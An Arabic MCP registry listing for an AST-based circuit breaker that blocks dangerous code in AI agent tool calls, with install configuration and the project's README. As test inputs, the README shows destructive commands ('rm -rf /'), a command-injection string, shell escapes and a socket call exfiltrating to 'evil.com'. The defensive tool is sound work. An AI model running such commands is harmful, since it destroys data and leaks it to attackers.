AW-1 Sovereign Circuit Breaker

السجل الرسمي الأمن

Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.

التثبيت

أضف هذا إلى إعدادات MCP في عميلك (Claude Desktop: claude_desktop_config.json، وCursor: ‏.cursor/mcp.json، ويستخدم VS Code وغيره الصيغة نفسها «mcpServers»).

Remote (sse)
Claude Code
claude mcp add --transport sse aw-1-sovereign-circuit-breaker 'https://p20.laveto.net/wisdom/mcp/sse'
إعداد JSON (Claude Desktop وCursor وVS Code)
{
    "mcpServers": {
        "aw-1-sovereign-circuit-breaker": {
            "type": "sse",
            "url": "https://p20.laveto.net/wisdom/mcp/sse"
        }
    }
}

التوثيق

مأخوذ من ملف README للمشروع على GitHub ويُحدَّث أسبوعيًا. تفتح الروابط على GitHub.

المحتويات
  1. AW-1 Circuit Breaker
  2. ⚡ 10-Second Test Drive (Zero-Install)
  3. AW-1 Circuit Breaker
  4. Installation
  5. Running the Server
  6. MCP Client Configuration
  7. Exploit Interception in Action
  8. Runtime Latency Telemetry
  9. Framework Integration (LangGraph Example)
  10. License

AW-1 Circuit Breaker

[]()

Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.


⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal right now without installing anything:

uvx aw1-circuit-breaker --demo

Or verify an arbitrary snippet:

uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

AW-1 Circuit Breaker

Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.

Installation

pip install -r requirements.txt

Running the Server

Run directly with Python:

python mcp_server.py

Or via uvx:

uvx mcp_server.py

MCP Client Configuration

{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "command": "python",
      "args": ["mcp_server.py"]
    }
  }
}

Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

Interception Matrix
Attack VectorAttacker StrategyLLM Guardrail ResultAW-1 AST Circuit Breaker
Dynamic Executioneval(compile(...))Evades semantic filtersTripped (RESTRICTED_INVOCATION)
Shell Escapessubprocess.Popen(['bash', ...])Masked as system taskTripped (UNAUTHORIZED_MODULE_IMPORT)
Lateral Exfiltrationsocket.connect(('evil.com', 443))Disguised as HTTP fetchTripped (UNAUTHORIZED_MODULE_IMPORT)
Run the Showcase
python examples/exploit_showcase.py

Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.

Evaluation Targetp50 Latencyp95 Latencyp99 LatencyStatus
AST Inspection (Benign Payload)0.0889 ms0.1298 ms0.1645 ms< 0.2 ms Overhead
AST Inspection (Adversarial Exploit)0.0520 ms0.0919 ms0.1051 msInstant Breakout Halt
Shell Argument Injection Guard0.0051 ms0.0096 ms0.0195 msSub-20 µs Inspection

Reproduce locally:

python benchmark.py

Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException

# Guard autonomous agent tool dispatches
try:
    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
    print(f"Tool call halted: {blocked}")

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.

الأسئلة الشائعة

ما هو AW-1 Sovereign Circuit Breaker؟

Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.

كيف أثبّت AW-1 Sovereign Circuit Breaker؟

يعمل كخادم بعيد. في Claude Code: claude mcp add --transport sse aw-1-sovereign-circuit-breaker 'https://p20.laveto.net/wisdom/mcp/sse'. وفي العملاء الآخرين، الصق إعداد JSON من هذه الصفحة في إعدادات MCP الخاصة بهم.

هل يحتاج AW-1 Sovereign Circuit Breaker إلى مفتاح API؟

لا يذكر إدراجه في السجل أي مفتاح أو سر إلزامي. قد تتطلب بعض الميزات حسابًا لدى الخدمة التي يتصل بها.

هل AW-1 Sovereign Circuit Breaker مفتوح المصدر؟

نعم. شيفرته متاحة على GitHub بترخيص Apache-2.0.

من يصون AW-1 Sovereign Circuit Breaker؟

ينشره MvikManners. يدرجه AI.tn لكنه لا يصونه ولا يوصي به.

من سجل MCP الرسمي. الإدراج ليس توصية: راجع شيفرة الخادم وصلاحياته قبل منحه الوصول إلى بياناتك.